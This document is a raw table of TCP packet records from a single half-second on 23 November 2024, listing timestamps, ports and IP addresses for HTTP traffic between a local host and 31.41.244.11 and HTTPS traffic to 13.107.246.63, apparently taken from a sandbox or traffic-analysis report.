Nov 23, 2024 11:22:15.123517990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.123565912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.123616934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.123668909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.124521971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.124574900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.124584913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.124624014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.125536919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.125590086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.125652075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.125703096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.126570940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.126622915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.126635075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.126683950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.127520084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.127568960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.127571106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.127613068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.127867937 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.128017902 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.128156900 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.128213882 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.128213882 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.128237963 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.128258944 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.128525972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.128638029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.128701925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.129544020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.129693031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.129760981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.130592108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.130661011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.130731106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.131048918 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.131059885 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.131130934 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.131346941 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.131355047 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.131562948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.131616116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.131789923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.131839037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.132505894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.132560968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.132662058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.132711887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.133537054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.133588076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.133677959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.133724928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.134548903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.134655952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.134716034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.135504007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.135627985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.135680914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.136528969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.136640072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.136692047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.137530088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.137583971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.137655973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.138556957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.138606071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.138679028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.139508009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.139580011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.139628887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.139673948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.140535116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.140674114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.140724897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.141803980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.141876936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.141937971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.142518997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.142574072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.142664909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.143507957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.143578053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.196702003 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.196790934 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.196854115 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.197331905 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.197350025 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.197364092 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.197370052 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.199857950 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.199877977 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.199965000 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.200124025 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.200141907 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.292304993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.292423010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.292479992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.292581081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.292792082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.292850018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.293026924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.293114901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.293757915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.293808937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.293899059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.293948889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.294749975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.294804096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.295118093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.295169115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.295190096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.295236111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.296087027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.296139002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.296214104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.296273947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.297101021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.297152996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.297193050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.297244072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.298082113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.298127890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.298197031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.298245907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.299102068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.299158096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.299280882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.299376011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.300106049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.300156116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.300160885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.300201893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.301091909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.301141024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.301207066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.301258087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.302141905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.302195072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.302263021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.302309036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.303090096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.303123951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.303138971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.303178072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.304097891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.304143906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.304164886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.304203033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.305320978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.305383921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.305465937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.305527925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.306220055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.306274891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.306323051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.307159901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.307430029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.307491064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.308475971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.308718920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.308773041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.309601068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.309653044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.309664965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.309708118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.310374022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.310410023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.310426950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.310460091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.311073065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.311125040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.311227083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.311280012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.312073946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.312129021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.312170982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.312222004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.313095093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.313157082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.313218117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.313267946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.314069033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.314121008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.314305067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.314357996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.315062046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.315113068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.315196991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.315248013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.316088915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.316142082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.316186905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.316243887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.317080975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.317132950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.317173958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.317222118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.318057060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.318104982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.318191051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.318242073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.319086075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.319139004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.319194078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.319256067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.320092916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.320144892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.320216894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.320266008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.321059942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.321111917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.321156979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.321206093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.322319984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.322331905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.322396040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.323070049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.323376894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.323446035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.324062109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.324124098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.324167967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.324449062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.325110912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.325169086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.325190067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.325242996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.326184034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.326229095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.326251984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.326302052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.327090979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.327136993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.327182055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.327234030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.328088045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.328139067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.328265905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.328318119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.329075098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.329210997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.329277039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.330095053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.330256939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.330311060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.331083059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.331134081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.331199884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.332082033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.332135916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.332169056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.332443953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.333116055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.333165884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.333220959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.334079027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.334172964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.334228039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.335094929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.335150003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.335170984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.336189985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.336260080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.336391926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.337094069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.337165117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.337268114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.337322950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.338062048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.338155985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.338215113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.339086056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.339215040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.339283943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.340070009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.340142965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.340156078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.340459108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.341173887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.341360092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.341415882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.342346907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.342485905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.342541933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.343403101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.343466997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.343524933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.344206095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.344223022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.344266891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.344305038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.493527889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.493602037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.493700981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.493988991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.494115114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.494173050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.495004892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.495064020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.495244026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.495976925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.496031046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.496290922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.496438980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.496475935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.497342110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.497397900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.497411966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.498327971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.498372078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.498501062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.499300957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.499356985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.499433041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.499478102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.500314951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.500355005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.500401974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.501331091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.501425982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.501477957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.502310038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.502357960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.502399921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.503318071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.503366947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.503406048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.504324913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.504373074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.504415989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.505342007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.505388975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.505527973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.505575895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.506297112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.506416082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.506469965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.507318020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.507431030 CET	80	49765	31.41.244.11	192.168.2.4
